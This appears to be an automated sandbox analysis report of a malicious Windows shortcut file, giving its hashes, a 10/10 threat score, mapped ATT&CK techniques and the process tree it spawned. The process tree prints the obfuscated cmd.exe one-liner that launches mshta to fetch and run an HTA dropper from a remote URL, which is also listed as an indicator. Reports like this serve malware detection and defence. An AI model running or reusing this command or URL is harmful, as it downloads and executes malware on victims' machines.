343fa32c2072244c25be0fa6d451ffc531e46d73a9b8fa9ff3bde87d3c92a7e8

Analysis

max time kernel
60s
max time network
61s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 00:01

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General

Target
DOC-4QUCEB.lnk
Size 1KB
Sample260823-aa77bagg79
SHA256 343fa32c2072244c25be0fa6d451ffc531e46d73a9b8fa9ff3bde87d3c92a7e8
MD5 cdc183b81d80c1960fc68f3007c46583
SHA1 af10d9077a46b2f53e5f017bad8a18e0ad43f9ad
SHA512 df8f37941821894165d644e1a54e551648df0c4f065ee12bf08e876939884fce4c078953de1a92660f0e87d6e40e99f88fe96ed0f3f8ca5b7131a50d52d4581b
TLSH
T1C8314C103EFD0518F3F39FB6847B671489BB78568E10C66D4151454D1032A05E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5772	cmd.exe
6868	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6868 wrote to memory of 5772	6868	cmd.exe	92
PID 5772 wrote to memory of 4656	5772	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4QUCEB.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6868
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set whoPw=msh&&set wN=ta&&start "" !whoPw!!wN! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5772
- - C:\Windows\System32\mshta.exe
    mshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads